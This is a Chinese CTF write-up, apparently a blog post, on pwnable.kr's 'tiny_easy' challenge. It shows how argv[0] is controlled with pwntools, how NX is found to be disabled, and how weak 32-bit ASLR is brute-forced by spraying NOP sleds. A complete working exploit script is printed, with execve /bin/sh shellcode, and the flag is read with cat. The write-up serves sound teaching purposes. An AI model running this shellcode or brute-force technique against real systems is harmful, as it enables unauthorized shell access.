本文首发于“合天网安实验室” 作者：大鱼
前几天在国外的某个ctf社区发现了一道好玩的赛题。
建议ctfer在阅读这篇文章的时候，首先要掌握以下的一些内容，因为这些东西对于ctf比赛来说，都是很有必要掌握的。
- 基本的Linux知识
- 对于X86有基本的了解
- 了解堆栈工作原理
- C语言的基本知识
- 了解缓冲区溢出漏洞的原理
- 基本的python开发能力
计算机字节和shell的魅力
我第一次接触到网络安全编程时，我就已经发现开发其实是一门艺术，并且研究员需要很高的水平才能胜任这一工作，因为很多时候你需要各种领域的知识进行结合。例如。C语言、汇编、堆栈、利用python进行漏洞开发利用等，当然，这些只是冰山一角。
对于一个刚进入漏洞利用开发领域的小白来说，这可能是很难的，因为这是一个从零开始进行积累的过程。
作为一名小菜鸡，我决定先挑战这个网站的最简单的pwn赛题。别问为什么，问就是别的试题太难了。
进入正题
让我们先进入SSH！
ssh [tiny_easy@pwnable.kr](mailto:tiny_easy@pwnable.kr) -p2222
（对于Windows用户，我强烈推荐使用xshell，它是一款很好上手的软件，可用于处理ssh会话并轻松下载软件）
在ssh内，我们运行“ ls”命令，仅找到一个二进制文件和我们的flag文件，由于我们没有任何权限，因此无法进行读取。
我们先下载二进制文件并对其进行一些检查：先使用“ file”命令进行查看。该命令可以让我们查看二进制文件的详细信息，包括其体系结构，位数（x64与x32）和其他很多的细节。
从输出的内容中我们可以看到，该文件是x86体系结构的32位ELF文件，并且是静态链接的。
可是等等… 注意这个细节！
让我们运行这个二进制文件，看看会发生什么情况：
从二进制文件具有损坏的header并且在执行时崩溃的情况可以看出，我们猜测现在这个二进制文件可能与通常我们看到的文件有所不同。
让我们在ida中打开二进制文件并检查代码
这可能是我见过的最简短的文件了，整个程序只有4条指令。
我们从栈中执行两个pop指令，从edx指向的地方取值，然后跳转到它。
但是等等......这个程序中没有进行任何调用，那么哪些值是从栈中弹出的呢？
我们还是用gdb来检查一下吧!
看一下堆栈，我们看到eax将接收值1，而edx将接收指向该字符串的指针
“/home/user/CTFs/Pwnables/tiny_easy/tiny_easy”，这就是我们的二进制文件的路径！
如果继续执行直到调用edx，我们就会明白为什么我们之前会收到段错误的原因了。
这个程序会试图跳转到地址0x6d6f682f，这对应字符串"/hom "的值。它是我们的二进制文件路径的一部分。
我们继续运行我们的程序，参数分别为test1 test2 test3。我们可以通过在gdb中运行以下命令来达到这一目的。
run test1 test2 test3
我们可以看到，现在堆栈已经发生了变化，现在我们的堆栈中有参数，并且堆栈顶部的值已从0x1更改为0x4。
还记得大一学的C语言中，main函数是如何接收输入的吗？
Int main(int argc, char * argv [], char * envp)
main中的argv [0]始终指向当前二进制文件的路径，argv [1] argv [2]等将包含我们输入的参数。
为了能够成功跳转到所需的位置，我们需要控制argv [0]的值。如果它不是我们输入的参数，我们该如何控制argv [0]呢？
下面隆重介绍一个在神奇的库文件 -- pwnlib，Pwnlib是一个python库，它使我们能够轻松的和进程进行通信。
pwnlib.tubes.process允许我们创建自己的进程并控制它的不同参数（argv，envp）等等。
我编译了以下的代码片段来展示pwnlib的简单使用方式：
int main(int argc, char * argv[])
{
printf("
this is our argv[0] %s
", argv[0]);
}
当我编译运行它的时候，得到了以下的结果。
我们可以使用pwnlib将argv [0]修改为我们自己的字符串，
from pwnlib.tubes.process import * argv_program=process(argv=["awdawd"], executable="/home/user/test_argv") print argv_program.recv()
现在，运行我们的python程序，看看我们从test_argv程序中能得到什么结果：
NICE !
现在，我们知道如何控制argv0参数了，这意味着我们可以在tiny_easy二进制文件中的任意位置进行跳转。
下一步是检查此二进制文件的安全属性，让我们运行checksec命令看看效果：
RELRO：这里没有RELRO保护；
堆栈：未发现堆栈canary机制；
NX： NX已禁用；
PIE：无 PIE；
注意：默认情况下，ASLR在堆栈中是启用状态。
NX保护是一种保护机制，它不允许我们在二进制的代码部分运行代码，这意味着我们不能跳转到栈或堆上的代码来运行它们。
在这个例子中，我们可以看到这个二进制文件是在没有保护的情况下进行编译的，这意味着我们可以跳转到堆上的代码。
这里需要强调一点的是：你如果一开始就直接检查这类保护，整个过程会给你节省很多时间。
在这个例子中，因为我们无法控制返回的地址，而且NX被禁用，那么我们最好的选择就是集中精力找到一种方法跳转到栈上，并执行我们存储在某个参数中的shellcode。
同时，另一方面，如果NX被启用了，那么这意味着我们无法跳转到堆栈，我们需要找到一种不同的方式来运行我们的代码（ret2libc等许多其他方法）。
现在我们可以控制我们要跳转的位置了，同时我们需要处理ASLR在堆栈层已经被启用这个问题。
我们可以尝试找一条允许我们跳转到堆栈的指令，然后运行我们的shellcode，程序中的其余字节是elf头的一部分。
我们也可以使用“ C”快捷键在IDA中查看这些字节的指令。
看来我们最好使用的指令是 "jmp esp"。这个指令将会跳转到堆栈，在那里我们能够得到我们存储在参数中的shellcode。
我喜欢手动进行搜索，所以我用online disassembling 来查找jmp esp指令由哪些操作码组成。
如果我们尝试反汇编jmp esp，那么得到的结果是：ff e4
我们尝试使用search-> bytesequence在IDA中搜索此字节。
what? 没结果？
我试着搜索调用esp的字节，却什么也没找到 ！
这就郁闷了！
我们想跳转到堆栈上的代码，但是由于ASLR的存在，我们不知道要跳转到什么地址。
我们尝试找到一个指令，让我们在不知道地址的情况下跳转到堆栈，但我们没有找到任何指令。
我尝试了另一个骚操作：跳转到一个允许你向代码部分写入字节的指令。
你可以尝试用这个方法：用jmp esp操作码覆盖其中的一条指令的地址，然后跳转到该指令的地址。
这个过程就像开火车一样，边开边建轨道。
不幸的是，当我用view->Open subviews->segments看看有哪些段的权限的时候，发现了以下的内容。
代码部分仅启用了R和X权限
R-读取权限
X-执行权限
W（写）权限被禁用。
这意味着，如果我们重写代码部分的指令，程序就会崩溃。
我在这个程序上已经用了好几个小时了，尝试了不同的跳转指令的方法，但是我找不到进入栈的方法。
然后，what should I do?
32位的ASLR
我开始尝试查阅32位系统上的ASLR的实现原理（特别强调，我们的二进制文件是32位的）。我找到了下面的解释：
"对于32位，有2^32 (4 294 967 296)个地址，然而，内核只允许一半的比特位(2^(32/2)=65 536)在虚拟内存中执行"。
这意味着堆栈的大小可以调整到65,536个字节。
如果我们可以控制数万个shellcode字节，那么我们就可以尝试在堆栈中跳转到一个固定的地址，这样就会有很高的成功率。
下面我检查了一下是否可以用长字符串发送大量的参数。
from pwnlib.tubes.process import *
for i in range(600):
argv.append("a"*1024)
argv_program=process(argv=["awdawd"], executable="/home/user/test_argv")
print argv_program.recv()
在本例中，我们向程序发送了6014400个字节并成功运行。
我们可以传递我们的参数来填满nops，最后发送我们的shellcode。
这样，我们就可以跳转到堆栈上的一个随机地址，希望能够落在我们的nop指令上，然后我们就会一路滑向我们的shellcode。
我写了以下的代码，尝试执行程序。
我们在这里尝试跳转到堆栈上的一个恒定地址：0xffb05544，选择这个地址有两个原因。
1.在这个程序中，我注意到在用gdb执行了很多次之后，这个地址大部分时间都在堆栈的范围内或者非常接近堆栈的范围 。
2.我们需要一个没有任何null字节的地址，否则我们会得到
一个异常："Inappropriate nulls in argv[0]:"
所以我写了以下代码：
import struct
import random
from pwnlib.tubes.process import *
from pwnlib.exception import *
import pwnlib
EXECV = "x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x89xc1x89xc2xb0x0bxcdx80x31xc0x40xcdx80"
def build_shellcode(address):
"""
Build shellcode
address - address to jump to
"""
args = []
args.append(address)
shellcode = "x90"*8000 + EXECV
for i in range(120):
args.append(shellcode)
return args
if __name__ == "__main__":
jump_address = struct.pack("I", 0xffb05544)
for i in range(10000000):
try:
prog_args = build_shellcode(jump_address)
print "attempt number: {}".format(i + 1 )
pro = process(argv=prog_args,
env={},
executable="/home/user/CTFs/Pwnables/tiny_easy/tiny_easy")
print "started_running address {}".format(hex(struct.unpack("I",jump_address)[0]))
pro.timeout=0.08
# Send command shell of the process
pro.sendline("echo we_made_it!")
# Recv the result of the command execution
data = pro.recvline()
if data:
print "received data!"
print data
break
except (EOFError, pwnlib.exception.PwnlibException) as e:
print e
这段代码会运行tiny_easy二进制文件并跳转到我们的shellcode，从而打开一个shell。如果我们成功了，那么我们将能够发送命令"echo we_made_it"，看看它的输出。
说干就干！
成功了！现在我们来CTF服务器上检查一下。
请注意，我们需要将我们执行的命令从"echo we_made_it "改为 "cat /home/tiny_easy/flag "，这样就得到了flag。
我们可以使用 "scp "命令轻松地将我们的脚本上传到服务器的tmp目录下，就像这样。
scp -P 2222 ./pwn_tiny.py tiny_easy@pwnable.kr:/tmp/pwn_tiny.py
终于拿到了我们的flag !
总结
行文至此，本次测试也就结束了！文章略长，简单做个总结：
在本文中，我们通过使用CTF示例讨论了漏洞利用开发的过程，我们了解了程序如何从argv和argc接收输入的参数。最后，了解了由于较小的随机范围，32位系统中的ASLR为何容易受到攻击，以及如何利用此漏洞进行攻击。
CTF PWN进阶训练实战，尝试溢出一个URL解码程序。